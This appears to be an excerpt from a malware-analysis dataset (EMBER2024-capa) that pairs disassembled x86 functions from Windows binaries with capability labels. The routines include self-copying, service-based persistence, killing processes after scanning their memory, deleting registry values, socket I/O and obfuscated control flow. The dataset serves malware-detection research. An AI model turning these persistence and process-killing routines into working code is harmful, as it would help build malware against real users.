joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c438
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str._vuCoM
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push 0x40fc6f
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c438
lea eax, [ebp - 0x814]
push eax
call fcn.0040c438
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40e0c0
call fcn.004074b0
xor ebx, ebx
mov dword [esp], str._vg_giGc_rI
push ebx
mov dword [ebp - 0x14], eax
call fcn.0040530f
push ebx
push 0x40fba1
call fcn.00403464
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073c0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c590
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x4119e0
push ebx
push edi
call fcn.00407360
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x40fba1
call fcn.00403434
push eax
mov dword [ebp - 0x10], eax
call fcn.004074b0
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x4119e0]
push edi
push 0x40e0c0
call fcn.0040c4e0
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c4e0
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x40fdcc
call fcn.00403434
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x4050fd
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.004074b0
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.004046ab
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405153
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4051ae
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051dd
xor eax, eax
jmp 0x4052eb
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052e0
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405095
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.004074b0
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.004073c0
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405095
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x4052b3
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str._toI
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491df4
call fcn.00407360
push esi
push edi
push 0x491cf0
call fcn.00407360
push esi
push edi
push 0x491bec
call fcn.00407360
push esi
push edi
push 0x491ae8
call fcn.00407360
push esi
push edi
push 0x4919e4
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1f16
push 0x40e0d4
call fcn.00403529
push 0x491f00
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491f08], edi
mov dword [0x491ef8], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491f08], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x4919e0], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push str._vg_giGc_rI
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str._vuCoM
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491f10], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491f0c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f14], eax
push 3
push str._vuCoM
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f18], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491f1c], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2034
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491bec
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1f2a
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491ef8], ebx
mov edi, 0x4919e4
je 0x406964
push esi
push edi
push 0x491ae8
push closesocket
call fcn.00404540
push 1
push str._vuCoM
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x40fc6f
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491ef8], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491f00], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2034
ret
Function at 0x406ab2
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2240
call fcn.00407bd0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406ae6
push dword [ebp + 8]
call fcn.0040471a
test eax, eax
pop ecx
jne 0x406c24
mov edi, str.KgEGM
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b0a
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b2f
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406c24
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f2a
lea eax, [ebp - 0x2240]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x2240]
mov byte [ebp - 0x122c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054ef
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073c0
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050fd
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dbf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406dd1
cmp word [ebp - 0xe], 6
jne 0x406dd1
and dword [0x491f04], 0
cmp ax, 7
mov dword [0x491f08], ebx
jne 0x406e0a
mov dword [0x491f04], ebx
cmp ax, bx
jne 0x406e15
mov dword [0x491f04], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d66
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406e17
push 0x1b7740
call edi
call fcn.00406da8
push 0xffffffffffffffff
call edi
jmp 0x406dd1
Function at 0x401ab0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x19c
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401b20
xor eax, eax
jmp 0x401c01
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
jne 0x401b38
xor eax, eax
jmp 0x401c01
push ebp
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
add eax, 0x1474
call fcn.00401510
mov esp, ebp
pop ebp
ret

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push 0x5040d1
push 0x504088
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.USER32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x401480
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_send]
pop esi
pop ebp
ret

Function at 0x4014c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
pop esi
pop ebp
ret

Function at 0x401500
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [ebp + 8]
mov eax, dword [0x41f4c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0xc]
mov dword [esp], ecx
mov dword [esp + 4], 0x4004667f
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
sub esp, 0xc
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd], al
mov dword [ebp - 0x18], 0x1849655a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
sub eax, 0x86650aa6
je 0x40165b
jmp 0x40155a
mov eax, dword [ebp - 0x1c]
sub eax, 0x9b5544dc
je 0x401612
jmp 0x40156d
mov eax, dword [ebp - 0x1c]
sub eax, 0x1849655a
je 0x401598
jmp 0x401580
mov eax, dword [ebp - 0x1c]
sub eax, 0x272a9522
je 0x4015b3
jmp 0x401593
jmp 0x401674
mov dl, byte [ebp - 0xd]
mov eax, 0x9b5544dc
mov ecx, 0x272a9522
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x401674
mov dword [ebp - 0x14], 0xffffffff
mov ecx, dword [0x41f080]
mov edx, dword [0x41f084]
imul eax, ecx, 0xffffffff
add eax, 0
mov esi, ecx
or esi, edx
shl esi, 0
add eax, esi
mov esi, edx
xor esi, 0xffffffff
shl esi, 0
add eax, esi
and ecx, edx
xor ecx, 0xffffffff
imul ecx, ecx, 0xffffffff
add eax, ecx
add eax, 0x86650aa6
imul eax, eax, 0x1bbeb7d1
add eax, 0xe50a3fd0
imul eax, eax, 0xe170131
add eax, 0x319f930
mov dword [ebp - 0x18], eax
jmp 0x401674
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x41f088]
mov edx, dword [0x41f08c]
mov eax, ecx
xor eax, edx
shl eax, 0
add eax, 0
xor ecx, edx
xor ecx, 0xffffffff
shl ecx, 0
add eax, ecx
add eax, 0x86650aa7
imul eax, eax, 0xc060f57b
add eax, 0xd42ad243
imul eax, eax, 0xd7d6a1b3
add eax, 0xaed0d827
mov dword [ebp - 0x18], eax
jmp 0x401674
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404d06
mov eax, dword [ebp - 0x20]
add esp, 0x28
pop esi
pop ebp
ret
jmp 0x401544
Function at 0x405545
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405584
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405584
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405584
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405584
cmp dword [ecx + 0x74], 0xe
jbe 0x405584
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40be4d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4196d0
push 0x4196c8
push str.FlsAlloc
push 0x1f
call fcn.0040bd0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be81
push dword [ebp + 8]
mov ecx, esi
call dword [0x418160]
call esi
jmp 0x40be87
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40becb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4196e0
push 0x4196d8
push str.FlsGetValue
push 0x21
call fcn.0040bd0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bf02
push dword [ebp + 8]
mov ecx, esi
call dword [0x418160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40bf0a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4196e8
push 0x4196e0
push str.FlsSetValue
push 0x22
call fcn.0040bd0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bf44
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x418160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]